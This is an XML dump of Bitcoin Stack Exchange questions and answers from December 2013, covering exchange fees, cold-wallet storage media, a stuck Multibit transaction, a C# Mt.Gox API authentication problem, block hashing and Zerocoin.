  <row Id="18985" PostTypeId="1" AcceptedAnswerId="18987" CreationDate="2013-12-18T13:17:07.863" Score="1" ViewCount="165" Body="&lt;p&gt;there is something not really clear to me in the buy/sell process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I sell bitcoin on sites like coinbase I am requested to pay a 1% fee. What about the fees to transfer the money back to my bank account (or Credit Card)? Are they included in the 1%?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="9894" LastActivityDate="2013-12-18T14:23:53.610" Title="Fees from portals like coinbase or bitestamp to Bank/Credit Card" Tags="|transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18986" PostTypeId="1" AcceptedAnswerId="18991" CreationDate="2013-12-18T13:44:55.590" Score="3" ViewCount="1212" Body="&lt;p&gt;I'd like to stash away at least part of my Bitcoins in an offline wallet which I will put in a bank deposit box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which media is recommended to use for that? Should I burn a CD/DVD or put it on an USB stick? Which one has the longest expiration date? Are there other alternatives?&lt;/p&gt;&#xA;" OwnerUserId="11026" LastEditorUserId="5406" LastEditDate="2014-08-10T23:36:59.440" LastActivityDate="2022-12-19T22:03:46.400" Title="What do I need to consider, when I chose media to store a cold/offline wallet?" Tags="|coldstorage|storage|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18987" PostTypeId="2" ParentId="18985" CreationDate="2013-12-18T14:23:53.610" Score="1" Body="&lt;p&gt;Coinbase has a separate bank fee (currently $0.15) in addition to their transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="9301" LastActivityDate="2013-12-18T14:23:53.610" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18988" PostTypeId="1" CreationDate="2013-12-18T14:55:15.557" Score="2" ViewCount="458" Body="&lt;p&gt;I sent 1 bitcoin FROM Multibit wallet TO this address &lt;code&gt;19xQJNmK3Ys4pXwMh11mwdfky4wNsNDj1Z&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The transaction was stuck at &lt;code&gt;&quot;Seen by 1 peer, not confirmed&quot;&lt;/code&gt; for more than 7 hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Checking &lt;a href=&quot;https://blockchain.info/address/19xQJNmK3Ys4pXwMh11mwdfky4wNsNDj1Z&quot; rel=&quot;nofollow&quot;&gt;blockchain.info&lt;/a&gt; it seems that the transaction was never sent &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_support_sentBitcoinFromMultibitButTheyAreStuck.html&quot; rel=&quot;nofollow&quot;&gt;Multibit documentation regarding stuck transaction&lt;/a&gt; I tried to reset blockchain and transactions that never made it. Needless to say I ended up with 1 bitcoin LESS in my balance, and the transaction did not appear either in Multibit or in blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues? thanks in advance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit1: A typical fee for a transaction is 0.0001 (0.1 mBTC), that is set automatically by Multibit and can't be altered.&lt;/p&gt;&#xA;" OwnerUserId="11033" LastEditorUserId="132" LastEditDate="2013-12-20T11:04:48.733" LastActivityDate="2013-12-20T11:04:48.733" Title="Bitcoins deducted from Multibit wallet but nothing was sent" Tags="|wallet|blockchain.info|multibit|sending|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18989" PostTypeId="1" CreationDate="2013-12-18T14:56:44.473" Score="2" ViewCount="198" Body="&lt;p&gt;Is it possible to run primecoind as a server and connect other primecoin miners to it, so that they all mine for the same wallet (on the server) in parallel? A kind of solo mining in parallel. I am using v0.1.2.0xpm-hp11-unk-beta&lt;/p&gt;&#xA;" OwnerUserId="11035" LastActivityDate="2013-12-18T14:56:44.473" Title="Parallel primecoin mining" Tags="|primecoin|" AnswerCount="0" CommentCount="0" ClosedDate="2019-07-17T21:06:39.327" ContentLicense="CC BY-SA 3.0" />
  <row Id="18990" PostTypeId="1" CreationDate="2013-12-18T15:52:47.697" Score="1" ViewCount="280" Body="&lt;p&gt;I'm trying to access the Mt.Gox API v2 via C# and HTTP requests. I've put together the following code based on various examples I found online (e.g. the nitrous documentation).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private string MakeRequest(string apiCall)&#xA;        {&#xA;            var parameters = new Dictionary&amp;lt;string, string&amp;gt; ();&#xA;            parameters.Add (&quot;tonce&quot;, Tonce.GenerateTonce().ToString());&#xA;&#xA;            string path = Currency + &quot;/&quot; + apiCall;&#xA;&#xA;            var request = new HttpPostRequest(BaseAddress + path, parameters);&#xA;            request.Request.Headers.Add (&quot;Rest-Key&quot;, mApiKey);&#xA;            request.Request.Headers.Add (&quot;Rest-Sign&quot;, mHmac.Sign(path, request.GetEncodedPostParams()));&#xA;&#xA;            var response = request.Request.GetResponse();&#xA;            return response.ToString ();&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(Here HttpPostRequest is a rather simple wrapper around the .NET HTTP request)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I call the code like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;MakeRequest (&quot;money/info&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This leads to a 403-Error from the Mt.Gox server (access denied).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I checked:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Tonce is generated correctly&lt;/li&gt;&#xA;&lt;li&gt;HMAC signing works correctly (tested with nitrous example)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And here is the code for my HTTP Post Request class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public class HttpPostRequest&#xA;    {&#xA;        public HttpWebRequest Request { get; set; }&#xA;        string mPostParams;&#xA;&#xA;        public HttpPostRequest (string url, Dictionary&amp;lt;string,string&amp;gt; postParameters)&#xA;        {&#xA;            mPostParams = &quot;&quot;;&#xA;            foreach (string key in postParameters.Keys)&#xA;            {&#xA;                mPostParams += Uri.EscapeDataString(key) + &quot;=&quot;&#xA;                          + Uri.EscapeDataString(postParameters[key]) + &quot;&amp;amp;&quot;;&#xA;            }&#xA;&#xA;            if(postParameters.Count &amp;gt; 0)&#xA;                mPostParams = mPostParams.Substring (0, mPostParams.Length - 1);&#xA;&#xA;            Request = (HttpWebRequest)HttpWebRequest.Create(url);&#xA;            Request.Method = &quot;POST&quot;;&#xA;&#xA;            byte[] data = Encoding.ASCII.GetBytes(mPostParams);&#xA;&#xA;            Request.ContentType = &quot;application/x-www-form-urlencoded&quot;;&#xA;            Request.ContentLength = data.Length;&#xA;            Request.UserAgent = &quot;Mozilla/4.0 (compatible; MtGoxTradeCLI)&quot;;&#xA;&#xA;            Stream requestStream = Request.GetRequestStream();&#xA;            requestStream.Write(data, 0, data.Length);&#xA;            requestStream.Close();&#xA;        }&#xA;&#xA;        public string GetEncodedPostParams()&#xA;        {&#xA;            return mPostParams;&#xA;        }&#xA;&#xA;        public string Send()&#xA;        {&#xA;            HttpWebResponse myHttpWebResponse = (HttpWebResponse)Request.GetResponse();&#xA;            Stream responseStream = myHttpWebResponse.GetResponseStream();&#xA;            StreamReader myStreamReader = new StreamReader(responseStream, Encoding.Default);&#xA;            string pageContent = myStreamReader.ReadToEnd();&#xA;            myStreamReader.Close();&#xA;            responseStream.Close();&#xA;            myHttpWebResponse.Close();&#xA;            return pageContent;&#xA;        }&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my HMAC class:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class HmacSigner&#xA;  {&#xA;    private readonly string mSecret;&#xA;&#xA;    public HmacSigner(string secret)&#xA;    {&#xA;        mSecret = secret;&#xA;    }&#xA;&#xA;    public string Sign(string method, string postData)&#xA;    {&#xA;        string message = method + '\0' + postData;&#xA;        HMACSHA512 hmac = new HMACSHA512(Encoding.Default.GetBytes(message));&#xA;        hmac.Key = Convert.FromBase64String(mSecret);&#xA;        return Convert.ToBase64String(hmac.ComputeHash(Encoding.UTF8.GetBytes(message)), Base64FormattingOptions.None);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does anyone have an idea what's going wrong here? Why is my authentication not working?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="11037" LastActivityDate="2013-12-18T15:52:47.697" Title="Mt.Gox API v2 with C# - authentication problem 403" Tags="|mtgox|api|c#|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="18991" PostTypeId="2" ParentId="18986" CreationDate="2013-12-18T16:26:36.297" Score="4" Body="&lt;p&gt;I wouldn't recommend CD/DVD or USB sticks. CD/DVDs don't actually have that long of a lifespan. Googling around I found various different estimates and no exact number, but the consensus is that they will probably last less than 10 years. Finding an estimate for how long a usb drive will last is a little bit more hazy, but the numbers I saw for that were around aboutish 10 years as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a bigger reason why you shouldn't use CD/DVDs or a usb drive: accessibility. If you plan on locking this thing into a deposit box and forgetting about it for a while, there's a pretty decent chance that when you come back to get it you won't be able to read it. CD/DVD drives are already used less and less, and there's a pretty good chance that 10 years from now you won't be able to get your data because your computer can only read hyper-bluray disks and the USB 12.0 connector is shaped like an octagon instead of a rectangle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd actually recommend printing it out. A paper wallet printed on good archival paper with archival ink can last a very, very long time. If you do this at home, it will probably cost you some money since printers that can use archival ink aren't especially cheap, but there are some online services that can do this for you too if you are willing to trust them. You could also probably find some archival paper and archival pens and actually write out your paper wallet for not too much money.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you really, really want to go crazy, you could have your address keys machined into a piece of steel or aluminum. If you pick a material that doesn't rust easily, and store it out of the elements so it can't erode, your wallet will essentially last for ever. &lt;/p&gt;&#xA;" OwnerUserId="7583" LastActivityDate="2013-12-18T16:26:36.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18993" PostTypeId="1" AcceptedAnswerId="19127" CreationDate="2013-12-18T16:53:43.670" Score="8" ViewCount="626" Body="&lt;p&gt;Why can't there be a p2p software that works like bitcoin but you load it with dollars?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can't something be made that's just p2p dollar transfers and not deal with a speculative new currency and its volatility?&lt;/p&gt;&#xA;" OwnerUserId="9595" LastEditorUserId="5406" LastEditDate="2014-11-01T13:11:06.110" LastActivityDate="2014-11-01T13:11:06.110" Title="Can there be dollar version of bitcoin?" Tags="|cash|price-volatility|" AnswerCount="4" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="18994" PostTypeId="2" ParentId="18993" CreationDate="2013-12-18T17:17:38.743" Score="4" Body="&lt;p&gt;The first problem is that the supply of USD is controlled by the Federal Reserve, not the source code of a cryptocurrency.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, since the cryptocurrency does not control the supply or is even permitted to issue USD, the cryptocurrency would have to owe USD.  As Jori has already stated, that would be centralized thus difficult and risky.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The speculation &amp;amp; volatility could be removed if a cryptocurrency included some means of price stability.  Then, it could increase its supply in response to deflation/rising price in the market (such as the per USD spike) and remove its supply in response to inflation/decreasing price in the market (such as if Bitcoin is a forex bubble and pops).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, it could be argued that cryptocurrencies have already surpassed traditional debt based paper, coin, and liability money since cryptocurrencies are backed by nothing except trust and their own supply, so there's never a fear that Bitcoin bought too many long term Treasuries right before their interest rates rose, causing a collapse in USD.&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorDisplayName="user5107" LastEditDate="2013-12-20T20:35:12.980" LastActivityDate="2013-12-20T20:35:12.980" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18995" PostTypeId="1" AcceptedAnswerId="18998" CreationDate="2013-12-18T17:29:32.923" Score="1" ViewCount="828" Body="&lt;p&gt;I know that if I use &lt;a href=&quot;http://sourceforge.net/projects/cpuminer/&quot; rel=&quot;nofollow&quot;&gt;Pooler's CPUMiner&lt;/a&gt; it will use all my computer resources for mining purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What if I use one of those &lt;a href=&quot;https://products.butterflylabs.com/homepage/5-gh-s-bitcoin-miner.html&quot; rel=&quot;nofollow&quot;&gt;Butterfly Labs 5 GH/s SC&lt;/a&gt; devices will it use 100% of my CPU power or the device does all the hard work?&lt;/p&gt;&#xA;" OwnerUserId="10970" LastEditorUserId="5406" LastEditDate="2016-04-02T09:14:54.777" LastActivityDate="2016-04-02T09:14:54.777" Title="Will a USB mining device use my computer's processing power?" Tags="|mining-hardware|butterfly-labs|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18996" PostTypeId="1" AcceptedAnswerId="18999" CreationDate="2013-12-18T17:50:31.627" Score="1" ViewCount="453" Body="&lt;p&gt;Am I correct that addresses are hashed to compress a huge text-represented coprime into something of manageable size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I also correct that transactions are hashed for the same reason &lt;a href=&quot;http://en.wikipedia.org/wiki/Digital_signature#How_they_work&quot; rel=&quot;nofollow&quot;&gt;and also because&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;To create RSA signature keys, generate an RSA key pair containing a modulus N&#xA;  that is the product of two large primes, along with integers e and d such that&#xA;  e d ≡ 1 (mod φ(N)), where φ is the Euler phi-function. The signer's public key&#xA;  consists of N and e, and the signer's secret key contains d.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To sign a message m, the signer computes σ ≡ md (mod N). To verify, the&#xA;  receiver checks that σe ≡ m (mod N).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;As noted earlier, this basic scheme is not very secure. To prevent attacks,&#xA;  one can first apply a cryptographic hash function to the message m and then&#xA;  apply the RSA algorithm described above to the result.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I cannot find a reason for blocks being hashed except to slow the rate that transactions are verified thus new supply is mined.  Is this correct?  If not, why are blocks hashed?&lt;/p&gt;&#xA;" OwnerDisplayName="user5107" LastEditorUserId="5406" LastEditorDisplayName="user5107" LastEditDate="2016-04-25T21:12:17.783" LastActivityDate="2016-04-25T21:12:17.783" Title="Why are blocks hashed?" Tags="|block|hash|difficulty|mining-theory|cryptography|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="18998" PostTypeId="2" ParentId="18995" CreationDate="2013-12-18T18:30:57.557" Score="1" Body="&lt;p&gt;If you are using dedicated mining hardware, then CPU is only used for dispatching work to ASIC and sending the result back to pool. Therefore, CPU usage in this case should be &lt;em&gt;very&lt;/em&gt; small, certainly not 100%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Own experience: Linux, cgminer, 2*5GH/s ASICs: the miner uses about 1 minute of CPU time per 24 hours walltime, much less then bitcoin client running mostly in background.&lt;/p&gt;&#xA;" OwnerUserId="2343" LastActivityDate="2013-12-18T18:30:57.557" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="18999" PostTypeId="2" ParentId="18996" CreationDate="2013-12-18T18:45:39.743" Score="5" Body="&lt;p&gt;Bitcoin public key cryptography is not based on RSA, but on Elliptic Curves, so the key is not a huge coprime (in fact ECC manages to achive a similar level of security with much smaller keys).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About why blocks are hashed, the reason is not to slow down anything, quite the contrary: it's to speed up verification that a block &quot;follows&quot; the other blocks in the blockchain. One does not need the hash to verify the transactions (in either the current block or the past ones), but since each block contains the hash of all previous blocks (in a compact way known as a Merkle Tree), one can not simply create a block &quot;isolated&quot; from the blockchain (taking as much time as needed) and then just &quot;insert&quot; it in the blockchain to win the reward - it's necessary that a previous block is known before a new valid one is created.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;hard&quot; part is creating a hash that satisfies the difficulty criteria. A concise explanation of the process is given in &lt;a href=&quot;https://bitcoin.stackexchange.com/a/922/5887&quot;&gt;this answer&lt;/a&gt;. But one does not need to &quot;reverse the hash&quot; or anything like that for any reason.&lt;/p&gt;&#xA;" OwnerUserId="5887" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.283" LastActivityDate="2013-12-18T18:45:39.743" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19000" PostTypeId="1" CreationDate="2013-12-18T19:30:55.997" Score="2" ViewCount="87" Body="&lt;p&gt;I have read some information about Zerocoin, but not the actual paper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is - what exactly would need to be added to Bitcoin full nodes in order to implement it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just the special &quot;zerocoin mint&quot; and &quot;zerocoin spend&quot; transactions? Are they some special, non-standard transactions?&lt;/p&gt;&#xA;" OwnerUserId="1760" LastEditorUserId="5406" LastEditDate="2014-09-16T23:22:17.447" LastActivityDate="2014-09-16T23:22:17.447" Title="What exactly would need to be added to Bitcoin to support Zerocoin?" Tags="|alternatives|zerocoin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19001" PostTypeId="2" ParentId="19000" CreationDate="2013-12-18T19:39:48.423" Score="2" Body="&lt;p&gt;I found out that it's explained quite exactly here&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/Zerocoin/libzerocoin/wiki/Integrating-with-bitcoin-clients&quot; rel=&quot;nofollow&quot;&gt;https://github.com/Zerocoin/libzerocoin/wiki/Integrating-with-bitcoin-clients&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1760" LastActivityDate="2013-12-18T19:39:48.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19005" PostTypeId="2" ParentId="18966" CreationDate="2013-12-18T21:05:49.340" Score="2" Body="&lt;p&gt;No, the transaction fee is not increasing over time. According to the &lt;a href=&quot;https://en.bitcoin.it/wiki/Transaction_fee#Including_in_Blocks&quot; rel=&quot;nofollow&quot;&gt;Bitcoin wiki&lt;/a&gt;, these are the rules under which the reference implementation decides weather or not to include transactions (and therefore how fast they are confirmed):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;27.000 bytes in the block are set aside for the highest-priority transactions, regardless of transaction fee. Transactions are added highest-priority-first to this section of the block.&lt;/strong&gt;&#xA;  Then transactions that pay a fee of at least 0.0001 BTC/kb are added to the block, highest-fee transactions first, until the block is not more than 250,000 bytes big.&#xA;  The remaining transactions remain in the miner's &quot;memory pool&quot;, and may be included in later blocks if their priority or fee is large enough.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The priority addressed in the bold part is calculated like this:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;priority = sum(input_value_in_base_units * input_age)/size_in_bytes&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see, the priority increases with the age of the coins. Thus, the &quot;older a bitcoin gets&quot;* the more likely it is that the transaction is included in a block, even if no fee is paid, in fact.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This behavior has the following advantage: That way you have the option to pay more fees to get your transaction confirmed faster, or less and even nothing if you can wait a day or two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the second part of your question: Yes, when a miner generates a block he gets the transaction fee of each transaction in this block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sub&gt;* to be exact: &quot;the older the last transaction spending the coins is&quot;&lt;/sub&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;When buying bitcoins with fiat, exchange portals like MtGox or Bitstamp usually charge another fee (about 0.5% on both bitcoins and fiat), which does not go to a miner but to the exchange portal. It has nothing to do with Bitcoin fundamentally, so it's totally up to the exchange how to calculate this fee. However, I don't know of any exchange which considers the age of the bitcoins, and I can't see any reason why they should. &lt;/p&gt;&#xA;" OwnerUserId="9175" LastEditorUserId="9175" LastEditDate="2013-12-19T09:19:26.873" LastActivityDate="2013-12-19T09:19:26.873" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="19006" PostTypeId="1" CreationDate="2013-12-18T21:26:29.583" Score="3" ViewCount="890" Body="&lt;p&gt;&lt;a href=&quot;http://wiki.mastercoin.org/index.php/FAQ#What_is_Mastercoin_and_why_is_it_needed.3F&quot; rel=&quot;nofollow&quot;&gt;Mastercoin&lt;/a&gt; is described as:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;both a new type of currency (MSC) and a platform. It is a &lt;strong&gt;new protocol layer running on top of Bitcoin like HTTP runs on top of TCP/IP&lt;/strong&gt;. Its purpose is to build upon the core Bitcoin protocol and add new features&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Are there any other protocols or similar built on top of the Bitcoin protocol in this way?&#xA;(As an aside, the way &lt;a href=&quot;https://en.wikipedia.org/wiki/Namecoin&quot; rel=&quot;nofollow&quot;&gt;Namecoin&lt;/a&gt; uses a Bitcoin-like P2P model to act as an alternative, decentralized DNS is interesting...are there similar things built on top of Bitcoin itself?)&lt;/p&gt;&#xA;" OwnerUserId="11046" LastEditorUserId="11046" LastEditDate="2013-12-26T22:59:23.047" LastActivityDate="2013-12-27T02:06:47.847" Title="What protocols are built on top of Bitcoin?" Tags="|protocol|alternatives|omni|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19007" PostTypeId="1" CreationDate="2013-12-18T22:08:42.950" Score="2" ViewCount="344" Body="&lt;p&gt;Some bitcoin ATMs allow the exchange from bitcoins to paper money. Since waiting in front of an ATM for a confirmation is not feasible, they must defend themselves in another way against double-spends. How do they do that?&lt;/p&gt;&#xA;" OwnerUserId="9175" LastActivityDate="2014-03-03T17:39:11.787" Title="How are Bitcoin ATMs secured against double-spends?" Tags="|doublespend|otc|bitcoin-atm|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19008" PostTypeId="1" AcceptedAnswerId="19010" CreationDate="2013-12-18T22:43:55.323" Score="8" ViewCount="3676" Body="&lt;p&gt;If I have a balance in USD with any exchange, and I placed an order to buy bitcoins, how does it work for the exchange? do they need to hold enough bitcoins to cover all the &quot;buy&quot; transactions and sell those bitcoins to me from their wallet? or, they will find someone on their platform who wants to sell that amount at that price and withdraw his bitcoins to my bitcoins?&lt;/p&gt;&#xA;" OwnerUserId="10950" LastActivityDate="2017-06-04T21:37:42.587" Title="Do bitcoin exchanges own the bitcoins they trade with?" Tags="|exchanges|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19010" PostTypeId="2" ParentId="19008" CreationDate="2013-12-18T22:54:31.470" Score="8" Body="&lt;p&gt;Traditional Bitcoin exchanges hold their customers' funds, both Bitcoins and counter-currencies. So when a trade is actually made, the exchange just adjusts their own balance numbers. Prior to being able to buy Bitcoins, you must deposit some other currency into your account at the exchange. Prior to being able to sell Bitcoins, you must deposit Bitcoins into your account at the exchange.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2013-12-18T22:54:31.470" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="19013" PostTypeId="2" ParentId="18995" CreationDate="2013-12-19T00:49:27.360" Score="0" Body="&lt;p&gt;A picture is worth a thousand words.  Here is a screen capture of a Mac Mini rig with three BFL USB devices running just under 70 GH/s. The low-end Mac is not even breaking a sweat... You probably need to figure out what processes are sucking up your CPU resources and kill them. I highly recommend &lt;a href=&quot;http://fabulouspanda.co.uk/macminer/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://fabulouspanda.co.uk/macminer/&lt;/a&gt; and doing STM P2Pool mining at &lt;a href=&quot;http://pool.fabulouspanda.co.uk:9332&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pool.fabulouspanda.co.uk:9332&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eUotQ.png&quot; alt=&quot;MacMiner v1.5 Screenshot&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10377" LastActivityDate="2013-12-19T00:49:27.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19014" PostTypeId="2" ParentId="17582" CreationDate="2013-12-19T01:58:52.423" Score="-2" Body="&lt;p&gt;Many people are creating alternative currencies. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Litecoin has been created by Charles Lee, a former Google employee. This guy's the only cryptocurrency creator that is publicly known. In fact you can find pictures of him and videos of him. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most cyrptocurrency creators wish to stay anonymous. Some because their coins are scams, some because they have many coins because they were some of the first &quot;miners&quot; and if the value of their coins rises they'll be rich. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin right now is under the control of very few people. An article about a month ago was written about the owners of Bitcoin and we know that 47 people owned about 1/4 of the Bitcoins and 927 owned over 50%. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;LESS THAN 1000 PEOPLE OWN MOST OF THE BITCOINS. This was supposed to be for the little guy...you know, like me and you. Well, it's not. This is why other cryptocurrnecies are created. Bitcoin won't help the repressed escape persecution and help them move their wealth in other countries so they can escape. Bitcoin is going to be used to hide fortunes. Bitcoin might be used by the CIA, NSA, US Defense Intelligence for money transfers. Litecoin might soon follow the same trend. Yes, some cryptocurrenceis are scams but many aren't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's all about having an option.&lt;/p&gt;&#xA;" OwnerUserId="9970" LastActivityDate="2013-12-19T01:58:52.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19016" PostTypeId="2" ParentId="19006" CreationDate="2013-12-19T03:11:50.577" Score="2" Body="&lt;p&gt;New information: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See David Schwartz's response at &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/19199/are-there-examples-of-asset-backed-virtual-currencies/19221#19221&quot;&gt;examples-of-asset-backed-virtual-currencies&lt;/a&gt; for a short description of Ripple.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Older information:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;https://bitcointalk.org/index.php?topic=134179.0&quot; rel=&quot;nofollow noreferrer&quot;&gt;List of all Cryptocoins&lt;/a&gt;  mentions both Mastercoin (MSC) and Ripple (XRP).  This URL is dated, and Ripple is now &lt;a href=&quot;https://www.ripplelabs.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;open sourced&lt;/a&gt;. The &lt;a href=&quot;http://www.youtube.com/watch?v=pj1QVb1vlC0&quot; rel=&quot;nofollow noreferrer&quot;&gt;ripple video&lt;/a&gt; is informative.  According to &lt;a href=&quot;http://en.wikipedia.org/wiki/Ripple_%28monetary_system%29&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia&lt;/a&gt;, Ripple is currency agnostic. Ripple has network consensus times of 2 to 5 seconds (which is much less than 2.5 or 10 minutes) and already has 100 billion units of XRP which probably explains why it is not visible at &lt;a href=&quot;http://www.coinchoose.com/charts.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mining Revenues&lt;/a&gt;. I've yet to dig into the &lt;a href=&quot;http://opencoin.in/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Bitcoin Ripple Open Forum&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Central Banks are scared that an open source architecture is emerging that will be redefining the FIRE Sector, and thus threatening their monopolies.  The FIRE Sector is starting to go through a very disruptive innovation revolution with the genius of Open Source Technologies. If these distributed technologies are implemented properly, we could be on the verge of another 1776. I would love to see the diagram below updated and refined by the Open Source Community so we all have a bigger picture road map to focus our efforts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YGPnh.png&quot; alt=&quot;Exter&amp;#39;s Pyramid and Emerging Open Source Technologies&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="10377" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:36.647" LastActivityDate="2013-12-27T02:06:47.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="19017" PostTypeId="1" CreationDate="2013-12-19T03:33:21.200" Score="2" ViewCount="118" Body="&lt;p&gt;Do I have to backup only &lt;code&gt;wallet.dat&lt;/code&gt; or should I backup anything else to have my coins safe?&lt;/p&gt;&#xA;" OwnerUserId="4091" LastActivityDate="2013-12-19T03:33:21.200" Title="What to backup to save my coins?" Tags="|wallet|backup|" AnswerCount="0" CommentCount="2" ClosedDate="2013-12-21T21:37:39.963" ContentLicense="CC BY-SA 3.0" />
